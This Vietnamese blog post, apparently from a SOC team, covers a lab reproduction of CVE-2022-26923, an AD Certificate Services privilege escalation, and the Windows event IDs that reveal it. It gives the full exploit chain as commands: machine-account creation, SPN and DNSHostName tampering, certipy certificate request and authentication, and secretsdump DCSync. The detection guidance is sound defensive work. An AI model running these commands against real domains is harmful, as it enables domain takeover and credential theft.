Trong bản cập nhật Patch Tuesday tháng 5, trong số các lỗ hổng được đánh giá Critical và Important, đáng chú ý lỗ hổng CVE-2022-26923 liên quan đến leo thang đặc quyền, cho phép leo thang từ quyền Domain User lên Domain Admin ảnh hưởng đến máy chủ Active Directory có cài đặt ADCS (Active Directory Certificates Service). Oliver Lyak (@ly4k_) là người đã tìm ra lỗ hổng, researcher này cũng public một bài phân tích chi tiết về ADCS và cách thức khai thác
Bài viết giới thiệu về ADCS và phân tích chi tiết về cách thức khai thác lỗ hổng có thể tham khảo thêm ở các link sau:
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
https://research.ifcr.dk/9e098fe298f4
Dựa trên các bài phân tích đó, đội ngũ GTSC xây dựng mô hình Lab mô phỏng cách thức tấn công, qua đó cung cấp dấu hiệu và phát hiện dựa trên Windows Event Log
Mô hình Lab cơ bản bao gồm, một máy client Win10 và một máy chủ AD đã cài đặt ADCS (WIN-DC@blue.lab). Sau khi chiếm được một tài khoản domain user, attacker sẽ thực hiện đăng nhập vào máy client và tiến hành leo thang lên domain admin qua khai thác lỗ hổng CVE-2022-26923.
Exploit
Bước 1: Sử dụng tài khoản domain user, tạo tài khoản Computer Account có tên EVIL
addcomputer.py blue.lab/TEST:Password@123 -method LDAPS -computer-name EVIL -computer-pass Blu3team
Bước 2: Đổi giá trị DNSHostName của tài khoản mới tạo – EVIL thành DNSHostname của DC
Giá trị tại trường này có thể thay đổi do tài khoản được cấp quyền “Validated write to DNS host name”. Ngoài ra, trong tài liệu của MS cũng không đề cập đến việc giá trị này phải là là duy nhất (unique) và không được trùng lặp.
Nhưng trước đó để thay đổi giá trị này thì cần xóa bỏ 2 giá trị mới liên quan chứa DNSHostName trong trường servicePrincipalName. 2 giá trị này được cập nhật sau mỗi lần thay đổi DNSHostName
Bằng cách xóa 2 giá trị mới trong trường servicePrincipalName có chứa DNSHostName (có thể thực hiện được do tài khoản domain user đang sử dụng có quyền “Validated write to service principal name”), giá trị trong DNSHostName có thể được thay đổi thành công thành DNSHostName của DC, do không có giá trị nào chứa giá trị DNSHostName, domain controller sẽ không phải không phải cập nhật servicePrincipalName
Import-Module ActiveDirectory
Set-ADComputer -Identity “EVIL” -ServicePrinacipalNames @{Remove=”RestrictedKrbHost/EVIL.blue.lab”,”HOST/EVIL.BLUE.LAB”}
Sau khi xóa bỏ 2 giá trị tại trường servicePrincipalName chứa DNSHostName. Trường DNSHostName sẽ cho phép đổi thành DNSHostName của DC
Set-Adcomputer -Identity “EVIL” -DNSHostName WIN-DC.blue.lab
Bước 3: Request lại certificate mới cho computer account EVIL$ với giá trị DNSHostName đã đổi về WIN-DC.blue.lab. Certificate mới nhận được sẽ là certificate với DNSHostName của WIN-DC.blue.lab
certipy req blue.lab/EVIL$:Blu3team@WIN-DC.blue.lab -ca blue-WIN-DC-CA -template Machine
Bước 4: Xác thực lên DC bằng certificate mới, công cụ certipy sẽ request tới Kerberos TGT và truy xuất NT hash của tài khoản win-dc$
certipy auth -pfx win-dc.pfx
Sử dụng hash này để kết hợp với các cách tấn công phổ biến khác như DCSync Attack
secretsdump.py “blue.lab/WIN-DC$@WIN-DC.blue.lab” -hashes :e60bec4ab333accbfb……..
Mitigation / Detection
MS đã phát hành bản cập nhật cho lỗ hổng này trong KB5014754 – May 2022 Security Update, thông tin chi tiết tham khảo https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923.
Để phát hiện được các hành vi tấn công khai thác lỗ hổng, máy chủ DC cần cấu hình audit log như sau:
– Trong tab audit của CA properties chọn Issue and manage certificates requests để đảm bảo sinh ra các log với event ID 4886, 4887
Event ID 4886 sinh ra khi Certificate Services nhận được request yêu cầu tạo một certificate. Log sinh ra có tên Certificate Services received a certificate request với thông tin về tài khoản yêu cầu certificate và template của certificate
Event ID 4887 sinh ra khi CS approve một certificate request. Log sinh ra có tên Certificate Services approved a certificate request and issued a certificate
– Enable log Audit Computer Account Management tại đường dẫn ‘Computer Configuration \Windows Settings\Security Settings\Advanced Audit Policies’ để sinh ra các log với event ID 4741,4742
Event ID 4741 sinh ra khi một tài khoản máy (computter account) được tạo. Log sinh ra có tên A computer account was created.
Event ID 4742 sinh ra khi thông tin của tài khoản máy bị thay đổi. Log sinh ra có tên A computer account was changed
Tại bước 1, khi tạo tài khoản computer account mới, event ID 4741 sẽ được sinh ra trong Windows Event Log Security.
Tại bước 2, khi thay đổi giá trị trong 2 trường Service PrincipalName và DNSHostName, event ID 4742 sẽ được sinh ra trong Windows Event Log Security (chú ý các trường giá trị bị thay đổi)
Tại bước 3, khi request để yêu cầu một certificate mới, event ID 4886 sẽ sinh ra trong Windows Event Log Security.
Khi CS approve certificate request, ID 4887 sẽ sinh ra trong log Windows Event Log Security. (chú ý giá trị của Requester và Subject)
Trong trường hợp hành vi tấn công tiếp theo sử dụng DCSync attack, có thể phát hiện thông qua event ID 4662 trong Security Log với object properties: “1131f6aa-9c07-11d1-f79f-00c04fc2dcd2“, “1131f6ad-9c07-11d1-f79f-00c04fc2dcd2” hoặc “89e95b76-444d-4c62-991a-0facbeda640c”. Các GUIDs này là các GUIDs của Replication sử dụng trong DCSync attack.
Author: NCS SOC Team